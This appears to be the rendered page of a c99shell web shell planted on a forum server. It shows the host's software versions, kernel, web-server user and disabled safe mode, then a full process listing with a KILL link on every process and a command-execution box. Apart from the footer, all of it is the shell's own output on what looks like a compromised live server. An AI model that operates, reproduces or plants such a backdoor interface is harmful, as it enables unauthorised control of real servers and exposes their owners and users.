Software: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g. PHP/5.2.4-2ubuntu5.12 uname -a: Linux forum.circlefusion.com 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /etc/fonts/conf.d/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||
root | 4524 | 0.0 | 0.0 1872 544 ? S Apr20 0:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg | KILL | ||||||||||||||||||||||||
syslog | 4505 | 0.0 | 0.0 | 1936 684 ? Ss Apr20 0:32 /sbin/syslogd -u syslog | KILL | |||||||||||||||||||||||
klog | 4526 | 0.0 | 0.0 3140 2012 ? Ss Apr20 0:00 /sbin/klogd -P /var/run/klogd/kmsg | KILL | ||||||||||||||||||||||||
root | 4545 | 0.0 | 0.0 5316 1020 ? Ss Apr20 0:02 /usr/sbin/sshd | KILL | ||||||||||||||||||||||||
postgres | 4577 | 0.0 | 0.4 | 36788 | 18300 | ? Ss Apr20 1:05 postgres: writer process | KILL | |||||||||||||||||||||
postgres | 4571 | 0.0 | 0.1 | 36788 | 7856 ? S Apr20 8:51 /usr/lib/postgresql/8.2/bin/postgres -D /var/lib/postgresql/8.2/main -c config_file=/etc/postgresql/8.2/main/postgresql.conf | KILL | ||||||||||||||||||||||
root | 4469 | 0.0 | 0.0 1716 516 tty6 Ss+ Apr20 0:00 /sbin/getty 38400 tty6 | KILL | ||||||||||||||||||||||||
root | 4464 | 0.0 | 0.0 1716 508 tty3 Ss+ Apr20 0:00 /sbin/getty 38400 tty3 | KILL | ||||||||||||||||||||||||
root | 2678 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [vballoon] | KILL | ||||||||||||||||||||||||
root | 2652 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [kpsmoused] | KILL | ||||||||||||||||||||||||
root | 4456 | 0.0 | 0.0 1716 516 tty4 Ss+ Apr20 0:00 /sbin/getty 38400 tty4 | KILL | ||||||||||||||||||||||||
root | 4457 | 0.0 | 0.0 1716 516 tty5 Ss+ Apr20 0:00 /sbin/getty 38400 tty5 | KILL | ||||||||||||||||||||||||
root | 4462 | 0.0 | 0.0 1716 512 tty2 Ss+ Apr20 0:00 /sbin/getty 38400 tty2 | KILL | ||||||||||||||||||||||||
root | 30138 | 6.2 | 2.4 | 109220 105716 ? S Apr27 161:24 python /usr/sbin/denyhosts --daemon --config=/etc/denyhosts.conf --config=/etc/denyhosts.conf | KILL | |||||||||||||||||||||||
root | 4656 | 0.0 | 0.0 8264 1804 ? Ss Apr20 0:14 sendmail: MTA: accepting connections | KILL | ||||||||||||||||||||||||
www-data | 7796 | 0.0 | 0.1 | 22464 | 7096 ? S 01:21 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||||
www-data | 5801 | 0.0 | 0.1 | 22720 | 7160 ? S 01:19 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||||
www-data | 8853 | 0.0 | 0.1 | 22464 | 7540 ? S 01:22 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||||
www-data | 8949 | 0.0 | 0.1 | 22864 | 7396 ? S 01:22 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||||
root | 1 | 0.0 0.0 2844 1692 ? Ss Apr20 0:01 /sbin/init | KILL | |||||||||||||||||||||||||
www-data | 9778 | 0.0 | 0.1 | 22720 | 7616 ? S 01:22 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||||
www-data | 5577 | 0.0 | 0.1 | 22720 | 7168 ? S 01:19 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||||
www-data | 5379 | 0.0 | 0.1 | 22456 | 7036 ? S 01:19 0:00 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||||
root | 4693 | 0.0 | 0.0 2104 888 ? Ss Apr20 0:00 /usr/sbin/cron | KILL | ||||||||||||||||||||||||
daemon | 4682 | 0.0 | 0.0 | 1984 420 ? Ss Apr20 0:00 /usr/sbin/atd | KILL | |||||||||||||||||||||||
root | 4716 | 0.0 | 0.1 22088 7792 ? Ss Apr20 1:56 /usr/sbin/apache2 -k start | KILL | ||||||||||||||||||||||||
root | 4772 | 0.0 | 0.1 6904 4972 ? Ss Apr20 0:26 /usr/sbin/munin-node | KILL | ||||||||||||||||||||||||
root | 4792 | 0.0 | 0.0 1716 512 tty1 Ss+ Apr20 0:00 /sbin/getty 38400 tty1 | KILL | ||||||||||||||||||||||||
root | 2374 | 0.0 | 0.0 2224 676 ? S<s Apr20 0:00 /sbin/udevd --daemon | KILL | ||||||||||||||||||||||||
postgres | 4578 | 0.0 | 0.0 | 9656 | 1028 ? Ss Apr20 3:37 postgres: stats collector process | KILL | ||||||||||||||||||||||
root | 10 | 0.0 0.0 0 0 ? S< Apr20 0:02 [events/1] | KILL | |||||||||||||||||||||||||
root | 9 | 0.0 0.0 0 0 ? S< Apr20 0:03 [events/0] | KILL | |||||||||||||||||||||||||
root | 11 | 0.0 0.0 0 0 ? S< Apr20 0:00 [khelper] | KILL | |||||||||||||||||||||||||
root | 46 | 0.0 0.0 0 0 ? S< Apr20 0:14 [kblockd/0] | KILL | |||||||||||||||||||||||||
root | 50 | 0.0 0.0 0 0 ? S< Apr20 0:00 [kacpid] | KILL | |||||||||||||||||||||||||
root | 47 | 0.0 0.0 0 0 ? S< Apr20 0:12 [kblockd/1] | KILL | |||||||||||||||||||||||||
root | 8 | 0.0 0.0 0 0 ? S< Apr20 0:00 [watchdog/1] | KILL | |||||||||||||||||||||||||
root | 7 | 0.0 0.0 0 0 ? S< Apr20 0:11 [ksoftirqd/1] | KILL | |||||||||||||||||||||||||
root | 3 | 0.0 0.0 0 0 ? S< Apr20 0:19 [migration/0] | KILL | |||||||||||||||||||||||||
root | 2216 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [reiserfs/1] | KILL | ||||||||||||||||||||||||
root | 4 | 0.0 0.0 0 0 ? S< Apr20 0:12 [ksoftirqd/0] | KILL | |||||||||||||||||||||||||
root | 5 | 0.0 0.0 0 0 ? S< Apr20 0:00 [watchdog/0] | KILL | |||||||||||||||||||||||||
root | 6 | 0.0 0.0 0 0 ? S< Apr20 0:20 [migration/1] | KILL | |||||||||||||||||||||||||
root | 51 | 0.0 0.0 0 0 ? S< Apr20 0:00 [kacpi_notify] | KILL | |||||||||||||||||||||||||
root | 101 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [kseriod] | KILL | ||||||||||||||||||||||||
root | 1342 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [scsi_eh_0] | KILL | ||||||||||||||||||||||||
root | 1315 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [ata_aux] | KILL | ||||||||||||||||||||||||
root | 1343 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [scsi_eh_1] | KILL | ||||||||||||||||||||||||
root | 1347 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [ksuspend_usbd] | KILL | ||||||||||||||||||||||||
root | 2215 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [reiserfs/0] | KILL | ||||||||||||||||||||||||
root | 1349 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [khubd] | KILL | ||||||||||||||||||||||||
root | 2 | 0.0 0.0 0 0 ? S< Apr20 0:00 [kthreadd] | KILL | |||||||||||||||||||||||||
root | 1314 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [ata/1] | KILL | ||||||||||||||||||||||||
root | 144 | 0.0 | 0.0 0 0 ? S Apr20 3:23 [pdflush] | KILL | ||||||||||||||||||||||||
root | 143 | 0.0 | 0.0 0 0 ? S Apr20 0:00 [pdflush] | KILL | ||||||||||||||||||||||||
root | 1313 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [ata/0] | KILL | ||||||||||||||||||||||||
root | 145 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [kswapd0] | KILL | ||||||||||||||||||||||||
root | 187 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [aio/0] | KILL | ||||||||||||||||||||||||
root | 188 | 0.0 | 0.0 0 0 ? S< Apr20 0:00 [aio/1] | KILL | ||||||||||||||||||||||||
www-data | 10377 | 0.0 | 0.1 | 22464 | 6996 | ? S 01:23 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 11967 | 0.1 | 0.1 | 22484 | 7028 | ? S 01:24 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 12280 | 0.1 | 0.1 | 22720 | 7076 | ? S 01:24 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 12282 | 0.0 | 0.1 | 22720 | 7636 | ? S 01:24 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 12477 | 0.0 | 0.1 | 22464 | 7008 | ? S 01:25 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 14038 | 0.0 | 0.1 | 22456 | 7028 | ? S 01:26 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 14193 | 0.1 | 0.1 | 22464 | 7004 | ? S 01:26 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 14246 | 0.0 | 0.1 | 22476 | 6992 | ? S 01:26 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 14259 | 0.0 | 0.1 | 22464 | 7516 | ? S 01:26 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 14591 | 0.1 | 0.1 | 22456 | 7008 | ? S 01:26 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 15709 | 0.1 | 0.1 | 22720 | 7264 | ? S 01:27 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 16034 | 0.0 | 0.1 | 22712 | 7104 | ? S 01:27 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 16065 | 0.0 | 0.1 | 22712 | 7136 | ? S 01:27 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 16517 | 0.0 | 0.1 | 22464 | 6980 | ? S 01:28 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 16606 | 0.1 | 0.1 | 22712 | 7636 | ? S 01:28 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 16913 | 0.0 | 0.1 | 22464 | 7516 | ? S 01:28 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 17114 | 0.0 | 0.1 | 22712 | 7124 | ? S 01:28 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 17291 | 0.1 | 0.1 | 22484 | 7028 | ? S 01:28 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 17694 | 0.0 | 0.1 | 22464 | 6976 | ? S 01:29 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 17700 | 0.1 | 0.1 | 22464 | 6980 | ? S 01:29 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 17702 | 0.0 | 0.1 | 22464 | 6596 | ? S 01:29 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 17706 | 0.0 | 0.1 | 22720 | 7092 | ? S 01:29 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 17720 | 0.0 | 0.1 | 22472 | 6992 | ? S 01:29 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 17721 | 0.1 | 0.1 | 22732 | 7128 | ? S 01:29 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 17727 | 0.0 | 0.1 | 22464 | 6568 | ? S 01:29 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 17802 | 0.0 | 0.1 | 22464 | 7092 | ? S 01:29 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18278 | 0.1 | 0.1 | 22496 | 6924 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18340 | 0.0 | 0.1 | 22720 | 7092 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18349 | 0.0 | 0.1 | 22464 | 6568 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18351 | 0.1 | 0.1 | 22720 | 7096 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18363 | 0.1 | 0.1 | 22720 | 7092 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18365 | 0.1 | 0.1 | 22464 | 7004 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18373 | 0.1 | 0.1 | 22464 | 7004 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18389 | 0.1 | 0.1 | 22464 | 7004 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18391 | 0.1 | 0.1 | 22464 | 7004 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18392 | 0.1 | 0.1 | 22732 | 7264 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18393 | 0.0 | 0.1 | 22464 | 7004 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18395 | 0.1 | 0.1 | 22464 | 7004 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18396 | 0.0 | 0.1 | 22252 | 6884 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18459 | 0.0 | 0.1 | 24520 | 8132 | ? R 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18470 | 0.0 | 0.1 | 22252 | 6884 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18481 | 0.0 | 0.1 | 22252 | 6884 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18482 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18484 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:30 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18498 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18501 | 0.1 | 0.1 | 22720 | 7092 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18503 | 0.1 | 0.1 | 22720 | 7096 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18505 | 0.1 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18507 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18510 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18512 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18528 | 0.1 | 0.1 | 22720 | 7084 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18530 | 0.0 | 0.0 | 0 0 ? Z 01:31 0:00 [apache2] <defunct> | KILL | |||||||||||||||||||||||
www-data | 18532 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18534 | 0.1 | 0.1 | 22464 | 6968 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18537 | 0.1 | 0.1 | 22492 | 6900 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18541 | 0.0 | 0.1 | 22464 | 6968 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18543 | 0.0 | 0.1 | 22456 | 6956 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18546 | 0.0 | 0.1 | 22456 | 6952 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18551 | 0.1 | 0.1 | 22444 | 6328 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18562 | 0.1 | 0.1 | 22728 | 7084 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18567 | 0.1 | 0.1 | 22712 | 7092 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18573 | 0.1 | 0.1 | 22712 | 7072 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18574 | 0.2 | 0.1 | 22472 | 6364 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18579 | 0.1 | 0.1 | 22712 | 6556 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18580 | 0.1 | 0.1 | 22712 | 6552 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18673 | 0.1 | 0.1 | 22720 | 7060 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18681 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18690 | 0.1 | 0.1 | 22720 | 7056 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18692 | 0.1 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18694 | 0.1 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18696 | 0.1 | 0.1 | 22464 | 6568 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18714 | 0.1 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18716 | 0.1 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18718 | 0.1 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18719 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18721 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18724 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18726 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18746 | 0.1 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18749 | 0.1 | 0.1 | 22456 | 6948 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18751 | 0.1 | 0.1 | 22464 | 6968 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18759 | 0.1 | 0.1 | 22456 | 6956 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18760 | 0.1 | 0.1 | 22456 | 6960 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18767 | 0.1 | 0.1 | 22456 | 6952 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18772 | 0.1 | 0.1 | 22456 | 6948 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18777 | 0.1 | 0.1 | 22456 | 6956 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18785 | 0.1 | 0.1 | 22456 | 6952 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18790 | 0.1 | 0.1 | 22464 | 6960 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18797 | 0.1 | 0.1 | 22464 | 6960 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18801 | 0.1 | 0.1 | 22464 | 6964 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18807 | 0.1 | 0.1 | 22712 | 6524 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18808 | 0.0 | 0.1 | 22484 | 6476 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18810 | 0.1 | 0.1 | 22444 | 6304 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18870 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18879 | 0.0 | 0.1 | 22464 | 6528 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18881 | 0.1 | 0.1 | 22720 | 7060 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18904 | 0.0 | 0.1 | 22464 | 6528 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18906 | 0.0 | 0.1 | 22464 | 6528 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18908 | 0.0 | 0.1 | 22464 | 6564 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18953 | 0.0 | 0.1 | 22444 | 6276 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18956 | 0.0 | 0.1 | 22444 | 6240 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18959 | 0.0 | 0.1 | 22444 | 6276 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18962 | 0.0 | 0.1 | 22456 | 6432 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18966 | 0.0 | 0.1 | 22444 | 6240 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18971 | 0.0 | 0.1 | 22444 | 6272 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18972 | 0.0 | 0.1 | 22444 | 6272 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18989 | 0.1 | 0.1 | 22444 | 6272 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18992 | 0.1 | 0.1 | 22444 | 6272 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18994 | 0.1 | 0.1 | 22444 | 6240 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18995 | 0.1 | 0.1 | 22444 | 6276 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18996 | 0.1 | 0.1 | 22444 | 6272 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18998 | 0.1 | 0.1 | 22988 | 7108 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 18999 | 0.1 | 0.1 | 22444 | 6272 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 19001 | 0.1 | 0.1 | 22444 | 6240 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 19002 | 0.0 | 0.1 | 22444 | 6240 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 19003 | 0.1 | 0.1 | 22444 | 6236 | ? S 01:31 0:00 /usr/sbin/apache2 -k start | KILL | |||||||||||||||||||||
www-data | 19293 | 0.0 | 0.0 | 1772 | 496 ? S 01:31 0:00 sh -c ps -aux | KILL | ||||||||||||||||||||||
www-data | 19294 | 0.0 | 0.0 | 2364 | 932 ? R 01:31 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0288 ]-- |